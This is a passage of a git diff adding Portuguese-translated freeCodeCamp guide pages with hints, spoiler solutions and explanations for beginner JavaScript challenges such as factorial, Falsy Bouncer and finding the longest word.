+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md
new file mode 100644
index 0000000000..24b34afdd6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md
@@ -0,0 +1,36 @@
+---
+title: Confirm the Ending
+localeTitle: Confirme o final
+---
+## Confirme o final
+
+# 🌻 Solução de Código Intermediário:
+
+(Abordagem declarativa)
+
+```javascript
+function confirmEnding(str, target) { 
+  // "Never give up and good luck will find you." 
+  // -- Falcor 
+ 
+  return str.slice(str.length - target.length) === target; 
+ } 
+ 
+ confirmEnding("He has to give me a new name", "name"); 
+```
+
+#### 🚀 [Run Code](https://repl.it/repls/SardonicRoundAfkgaming)
+
+# Explicação do código:
+
+*   Primeiro usamos o método `slice` copiando a string.
+*   Para obter os últimos caracteres em `str` equivalentes ao tamanho do `target` , usamos o método `slice` .
+*   O primeiro parâmetro dentro do método `slice` é o índice inicial e o segundo parâmetro seria o índice final.
+*   Por exemplo, `str.slice(10, 17)` retornaria `give me` .
+*   Neste caso, incluímos apenas um parâmetro que copiará tudo do índice inicial.
+*   Nós subtraímos o comprimento de `str` e o comprimento do `target` , assim, obteremos os últimos caracteres restantes equivalentes ao tamanho do `target` .
+*   Finalmente, comparamos o resultado de retorno da fatia ao `target` e verificamos se eles possuem os mesmos caracteres.
+
+### Links Relevantes
+
+*   [String.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md
new file mode 100644
index 0000000000..6c5afddf7a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md
@@ -0,0 +1,67 @@
+---
+title: Convert Celsius to Fahrenheit
+localeTitle: Converter Celsius para Fahrenheit
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+O algoritmo para converter de Celsius para Fahrenheit é a temperatura em Celsius vezes `9/5` , mais `32` .
+
+Você recebe uma variável **celsius** representando uma temperatura em Celsius. Use a variável **fahrenheit** já definida e aplique o algoritmo para atribuir a temperatura correspondente em Fahrenheit.
+
+#### Links Relevantes
+
+*   [A Ordem de Operações: PEMDAS](http://www.purplemath.com/modules/orderops.htm)
+*   [Ordem de Operação: Vídeo](https://www.khanacademy.org/math/pre-algebra/order-of-operations/order_of_operations/v/order-of-operations)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Dê uma olhada no código. Existe uma área que você não deveria editar. A partir daí, pergunte a si mesmo - o que é usado lá que eu não vi antes?
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Tenha em mente a **ordem de operação,** verifique o link na seção de _links_ para mais informações.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function convertToF(celsius) { 
+      // Only change code below this line 
+      var fahrenheit = (celsius * (9/5)) + 32; 
+ 
+      // Only change code above this line 
+      if ( typeof fahrenheit !== 'undefined' ) { 
+      return fahrenheit; 
+      } else { 
+        return 'fahrenheit not defined'; 
+      } 
+    } 
+ 
+    // Change the inputs below to test your code 
+    convertToF(30); 
+```
+
+### Explicação do código:
+
+*   Declarar a variável **fahrenheit** .
+*   Certifique-se de que a ordem correta das operações aritméticas seja seguida usando parênteses ( `()` ) quando necessário.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md
new file mode 100644
index 0000000000..f7283d0a8b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md
@@ -0,0 +1,115 @@
+---
+title: Factorialize a Number
+localeTitle: Factorialize um número
+---
+![Recursão](//discourse-user-assets.s3.amazonaws.com/original/2X/d/dcf927a2e8c3beb7a9c28770153821982398bd99.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+## ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Retorna o fatorial do inteiro fornecido. Se o inteiro é representado com a letra n, um fatorial é o produto de todos os inteiros positivos menores ou iguais a n.
+
+Os fatoriais são frequentemente representados com a notação abreviada n!
+
+Por exemplo: `5! = 1 * 2 * 3 * 4 * 5 = 120`
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Este começa facilmente desde `0! = 1` , então você pode ir em frente e simplesmente `return 1` lá.
+
+Podemos usar isso como um `if` para quebrar o loop que vamos criar usando uma **função recursiva** . Ele irá verificar se o número que você deu a função é 0 (que seria o fim da sua cadeia de fatorial). Funções "terminam" quando retornam qualquer coisa. Na verdade, **todas as** funções sem uma instrução de `return` explícita retornarão `undefined` .
+
+É também por isso que, em **vez** de ter _"terminado"_ , sempre se diz que uma função _"retornou"_ . E agora isso ...
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+**Noções básicas sobre recursão**
+
+Recursão refere-se a uma função que se repete (chamando). Neste caso, estamos a voltar basicamente o número determinado (ou seja, 5), multiplicado pela função em si, mas desta vez o valor transmitido ao parâmetro _num_ é `num-1` (que se traduz, inicialmente a 4). A própria função vai **correr dentro de si mesmo** interessante, hein?
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+**Entendendo o fluxo**
+
+O primeiro valor **retornado** pode ser melhor visualizado se você pensar nas operações de parênteses que fez na escola secundária, onde faz as contas dentro de todos os parênteses, de dentro para fora, colchetes e colchetes, até obter um resultado final (um total). Desta vez é a mesma coisa, olhe para o fluxo do programa:
+
+### Durante a primeira execução da função:
+
+\[ **num** = 5\]
+
+5 é _igual_ a 1 ou 0? **Não** ---> Oki doki, vamos continuar ...
+
+**Retorna:**
+
+( **5** _(_ segunda execução\_: **4** \_ ( _terceira execução_ : **3** _(_ quarta execução\_: **2** \_ _quinta execução_ : **1** ))))
+
+O que ele retorna pode ser visto como `(5*(4*(3*(2*1))))` ou apenas `5 * 4 * 3 * 2 * 1` , e a função retornará o resultado dessa operação: `120` . Agora, vamos verificar o que o resto das execuções fazem:
+
+### Durante o resto das execuções:
+
+**Segunda Execução** : _num_ = 5-1 = **4** -> é _num_ 0 ou 1? Não
+
+\-> retorna a multiplicação entre 4 e o próximo resultado quando _num_ for agora 4-1.
+
+**Terceira Execução** : _num_ = 4 - 1 = **3** -> é _num_ 0 ou 1? Não
+
+\-> retorna a multiplicação entre 3 e o próximo resultado quando _num_ é agora 3-1.
+
+**Quarta Execução** : _num_ = 3-1 = **2** -> é _num_ 0 ou 1? Não
+
+\-> retorna a multiplicação entre 2 e o próximo resultado quando _num_ é agora 2-1.
+
+**Quinta execução** : _num_ = 2-1 = **1** -> é _num_ 0 ou 1? Sim
+
+\-> retorno **1** . E é aí que a recursão pára porque não há mais execuções.
+
+Consegui? ![:wink:](https://forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=3 ":piscadela:")
+
+> _tente resolver o problema agora_
+
+#### Links Relevantes
+
+*   [Funções JS](https://www.youtube.com/watch?v=R8SjM4DKK80)
+*   [Recursão em JS](https://www.youtube.com/watch?v=k7-N8R0-KY4)
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução de Código:
+```
+function factorialize(num) { 
+  if (num === 0) { return 1; } 
+  return num * factorialize(num-1); 
+ } 
+ 
+ factorialize(5); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/1)
+
+## Explicação do código:
+
+Observe na primeira linha que temos a condição terminal, isto é, uma condição para verificar o final da recursão. Se `num == 0` , então retornamos 1, ou seja, finalizando efetivamente a recursão e informando a pilha para propagar esse valor para os níveis superiores. Se não tivermos essa condição, a recursão continuará até que o espaço da pilha seja consumido, resultando em um [estouro de pilha](https://en.wikipedia.org/wiki/Stack_overflow) .
+
+### Links Relevantes
+
+*   [Recursão](https://www.codecademy.com/en/courses/javascript-lesson-205/0/1)
+*   [Factorialization](https://en.wikipedia.org/wiki/Factorial)
+*   [Operadores aritméticos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md
new file mode 100644
index 0000000000..e8a7e0e191
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md
@@ -0,0 +1,73 @@
+---
+title: Falsy Bouncer
+localeTitle: Bouncer Falsy
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/5/55dedad40d9f3f662c70d1eac4effc00c7d26bd9.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Remova todos os valores [falsos](https://guide.freecodecamp.org/javascript/falsy-values/) de uma matriz.
+
+#### Links Relevantes
+
+*   [Valores de Falsas](https://guide.freecodecamp.org/javascript/falsy-values/)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Falsy é algo que é avaliado como FALSE. Existem apenas seis valores falsos em JavaScript: undefined, null, NaN, 0, "" (string vazia) e false, é claro.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Precisamos ter certeza de que temos todos os valores falsos para comparar, podemos saber, talvez com uma função com todos os valores falsos ...
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Então precisamos adicionar um `filter()` com a função de valores falsy…
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function bouncer(arr) { 
+  return arr.filter(Boolean); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/32)
+
+### Explicação do código:
+
+O `Array.prototype.filter` método espera uma função que retorna um `Boolean` valor que recebe um único argumento e retorna `true` para [truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975) valor ou `false` para [Falsas](https://guide.freecodecamp.org/javascript/falsy-values/) valor. Por isso passamos a função `Boolean` incorporada.
+
+#### Links Relevantes
+
+*   [boleano](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+*   [Truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)
+*   [Array.prototype.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:trophy:](https://forum.freecodecamp.com/images/emoji/emoji_one/trophy.png?v=3 ":troféu:") Créditos:
+
+Se você achou esta página útil, você pode agradecer copiando e colando isso no chat principal:
+
+**`Thanks @renelis @abhisekp @Rafase282 for your help with Algorithm: Falsy Bouncer`**
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md
new file mode 100644
index 0000000000..1c30c9f264
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md
@@ -0,0 +1,143 @@
+---
+title: Find the Longest Word in a String
+localeTitle: Encontre a palavra mais longa em uma string
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você tem que passar por cada palavra e descobrir qual é a mais longa e retornar não a palavra, mas quantos caracteres ela possui.
+
+#### Links Relevantes
+
+*   [Comprimento da Cadeia JS](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você deve dividir a string em uma matriz de palavras.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você precisará descobrir uma maneira de acompanhar globalmente o maior comprimento atual.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Lembre-se de como obter o comprimento dos elementos no array? `Array[index].length` .
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function findLongestWordLength(str) { 
+  var words = str.split(' '); 
+  var maxLength = 0; 
+ 
+  for (var i = 0; i < words.length; i++) { 
+    if (words[i].length > maxLength) { 
+      maxLength = words[i].length; 
+    } 
+  } 
+ 
+  return maxLength; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/5)
+
+### Explicação do código:
+
+Pegue a corda e converta-a em uma matriz de palavras. Declare uma variável para acompanhar o comprimento máximo e o loop de 0 até o comprimento da matriz de palavras.
+
+Em seguida, verifique a palavra mais longa comparando a palavra atual com a anterior e armazenando a nova palavra mais longa. No final do loop, retorne o valor numérico da variável maxLength.
+
+#### Links Relevantes
+
+*   [JS Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+**Usando `.reduce()`**
+```
+function findLongestWordLength(s) { 
+  return s.split(' ') 
+    .reduce(function(x, y) { 
+      return Math.max(x, y.length) 
+    }, 0); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/6)
+
+### Explicação do código:
+
+Para mais informações sobre `reduce` [clique aqui.](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
+
+Caso você esteja se perguntando sobre o `0` após a função de retorno de chamada, ele é usado para fornecer um valor inicial ao `x` , para que o `Math.max` saiba por onde começar.
+
+#### Links Relevantes
+
+*   [JS Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [JS Reduzir Made Easy](http://forum.freecodecamp.com/t/using-array-prototype-reduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/14687)
+*   [JS Math Max](http://forum.freecodecamp.com/t/javascript-math-max/14682.md)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+**Usando recursividade**
+```
+function findLongestWordLength(str) { 
+ 
+  //split the string into individual words 
+  //(important!!, you'll see why later) 
+  str = str.split(" "); 
+ 
+  //str only has 1 element left that is the longest element, 
+  //return the length of that element 
+  if(str.length == 1){ 
+    return str[0].length; 
+  } 
+ 
+  //if the first element's length is greater than the second element's (or equal) 
+  //remove the second element and recursively call the function) 
+  if(str[0].length >= str[1].length){ 
+    str.splice(1,1); 
+    return findLongestWordLength(str.join(" ")); 
+  } 
+ 
+  //if the second element's length is greater thant the first element's start 
+  //call the function past the first element 
+  if(str[0].length <= str[1].length){ 
+    // from the first element to the last element inclusive. 
+    return findLongestWordLength(str.slice(1,str.length).join(" ")); 
+  } 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/7)
+
+### Explicação do código:
+
+A primeira linha divide a string em palavras individuais. Então nós verificamos se `str` tem apenas 1 elemento à esquerda, então esse é o elemento mais longo e nós o retornamos. Se o comprimento do primeiro elemento for maior que o segundo (ou igual) do segundo elemento, nós removemos o segundo elemento e chamamos recursivamente a função `findLongestWord` . No entanto, se o comprimento do segundo elemento for maior que o início do primeiro elemento, então chamamos a função após o primeiro elemento.
+
+#### Links Relevantes
+
+*   [Funções JS](https://www.youtube.com/watch?v=R8SjM4DKK80)
+*   [Noções básicas de recursão](https://www.youtube.com/watch?v=k7-N8R0-KY4)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md
new file mode 100644
index 0000000000..3060e907de
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md
@@ -0,0 +1,49 @@
+---
+title: Finders Keepers
+localeTitle: Achado não é roubado
+---
+## Explicação do Problema
+
+Precisamos devolver o elemento de uma matriz que passa uma função. Tanto a `function` quanto o `array` são passados ​​para a função `findElement(arr, func)` .
+
+## Sugestão: 1
+
+Olhando através da matriz pode ser feito com um loop `for` .
+
+> _tente resolver o problema agora_
+
+## Dica: 2
+
+`num` é passado para a função. Vamos precisar configurá-lo para os elementos que queremos verificar com a função.
+
+> _tente resolver o problema agora_
+
+## Dica: 3
+
+Não se esqueça, se nenhum dos números da matriz passar no teste, ele deve retornar `undefined` .
+
+> _tente resolver o problema agora_
+
+## Solução Básica
+
+```javascript
+function findElement(arr, func) { 
+  let num = 0; 
+ 
+  for(var i = 0; i < arr.length; i++) { 
+    num = arr[i]; 
+    if (func(num)) { 
+      return num; 
+    } 
+  } 
+ 
+  return undefined; 
+ } 
+```
+
+## Explicação do código
+
+*   Desafio nos pede para olhar através da matriz. Isso é feito usando um loop `for` .
+*   A variável `num` está sendo passada para a função, então a configuramos para cada índice em nossa matriz.
+*   A função pré-definida já verifica cada número para nós, portanto, se é "verdade", retornamos esse num.
+*   Se nenhum dos números no array passar no teste da função, retornamos indefinidos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md
new file mode 100644
index 0000000000..9c14ff6259
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Algorithm Scripting
+localeTitle: Algoritmo Básico de Scripts
+---
+## Algoritmo Básico de Scripts
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md
new file mode 100644
index 0000000000..d860c61a55
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md
@@ -0,0 +1,102 @@
+---
+title: Mutations
+localeTitle: Mutações
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+*   Retorna true se a string no primeiro elemento da matriz contiver todas as letras da string no segundo elemento da matriz.
+
+#### Links Relevantes
+
